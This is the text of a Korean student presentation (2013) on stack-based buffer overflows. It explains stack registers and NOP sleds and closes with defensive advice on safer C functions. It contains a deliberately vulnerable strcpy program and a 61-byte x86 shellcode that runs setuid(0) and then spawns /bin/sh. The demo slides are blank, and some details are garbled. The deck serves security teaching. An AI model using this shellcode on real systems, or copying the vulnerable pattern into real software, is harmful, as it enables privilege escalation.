시스템 보안 [Buffer Overflow] DEC, 15, 2013 By 20092213 박동혁
1 2 3 4 Let’s try! Conclusion CONTENTS What is the Buffer Overflow? 2 | 24 CONTENTS 1 2 3 4 What is the Buffer Overflow? What should we know to do? Let’s try! Conclusion
Buffer Buffer Overflow 프로그램 처리과정에서 데이터가 일시적으로 저장되는 공간 What is the Buffer Overflow? 3 | 24 WHAT IS THE BUFFER OVERFLOW? Buffer 프로그램 처리과정에서 데이터가 일시적으로 저장되는 공간 C에서 문자열 저장 시 많이 사용 Buffer Overflow 가동되고 있는 프로그램에, 설정되어 있는 가용 용량보다 훨씬 큰 용량의 데이터를 한꺼번에 보낼 때 서비스가 정지되는 상태
Stack-based Buffer Overflow What is the Buffer Overflow? 4 | 24 WHAT IS THE BUFFER OVERFLOW? Stack-based Buffer Overflow 스택 영역에 버퍼 크기를 초과하는 데이터를 기록하고 저장된 복귀주소를 변경함으로써 임의의 코드를 실행 Heap-based Buffer Overflow 힙 영역에 버퍼 크기를 초과하는 데이터를 기록하고 저장된 복귀주소를 변경함으로써 임의의 코드를 실행
Stack-based Buffer Overflow What is the Buffer Overflow? 5 | 24 WHAT IS THE BUFFER OVERFLOW? Stack-based Buffer Overflow 저희가 오늘 알아볼 스택베이스 버퍼 오퍼플로우를 이해하기 위해서는 먼저 프로그래밍 데이터 처리과정을 알아야 합니다. 하나의 프로그램은 수많은 함수로 구성되어 있는데 이러한 함수가 호출될 때, 지역변수와 복귀주소가 스택에 저장됩니다. 복귀주소는 함수가 종료될 때 자신을 호출한 함수의 주소를 말하는데 버퍼 오버플로우는 이 복귀주소가 지역변수의 데이터에 의해 침범당할 때 발생합니다
EBP (Extended Base Pointer) 는 현재 스택 프레임의 가장 바닥 지점의 주소를 가지고 있는 레지스터 What should we know to do? 6 | 24 WHAT SHOULD WE KNOW TO DO? NOP를 이용한 Stack buffer overflow 공격 목표는 RET의 주소를 자신이 원하는 Shell Code로 변경하는 것. Buffer + EMP에 Shell Code의 크기를 빼면 정확히 공격해야 할 NOP양이 나온다. EBP (Extended Base Pointer) 는 현재 스택 프레임의 가장 바닥 지점의 주소를 가지고 있는 레지스터
C Language WHAT SHOULD WE KNOW TO DO? #include <stdio.h> 7 | 24 WHAT SHOULD WE KNOW TO DO? C Language ESP (Extended Stack Pointer) 는 현재 스택 프레임의 가장 윗부분의 주소를 가지고 있는 부분 #include <stdio.h> int sp(void) {__asm__("movl %esp, %eax");} main() { int esp; esp=sp(); printf("ESP : %p\n",esp); } #include <stdio.h> int main(int argc,char *argv[]) { char buffer[100]; strcpy(buffer,argv[1]); printf("%s"\n",buffer); return 0; }
Shell Code setuid(0); execve("/bin/sh"); 61 Bytes What should we know to do? 8 | 24 WHAT SHOULD WE KNOW TO DO? 61 Bytes Shell Code setuid(0); execve("/bin/sh"); "\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68”
Let’s try! 9 | 24 LET’S TRY!
Let’s try! 10 | 24 LET’S TRY!
Let’s try! 11 | 24 LET’S TRY!
Let’s try! 12 | 24 LET’S TRY!
Let’s try! 13 | 24 LET’S TRY!
CONCLUSION 운영체제 커널 패치 사용자 스택 영역에 데이터 기록 금지 14 | 24 CONCLUSION 운영체제 커널 패치 사용자 스택 영역에 데이터 기록 금지 함수로부터 복귀할 때 스택의 무결성(integrity) 검사 프로그래머 관점에서의 보안대책 Boundary를 검사하는 컴파일러 및 링커 사용 Boundary를 검사하는 함수 사용 사용 자제 함수들 strcat(), strcpy(), gets(), scanf(), sscanf(), vscanf(), vsscanf(), sprintf(), vsprintf(), gethostbyname() 사용 권장 함수들 strncat(), strncpy(), fgets(), fscanf(), vfscanf(), snprintf(), vsnprintf() Overflow_wrapper 사용 버퍼 크기 검사 후 원래의 프로그램 수행
Q&A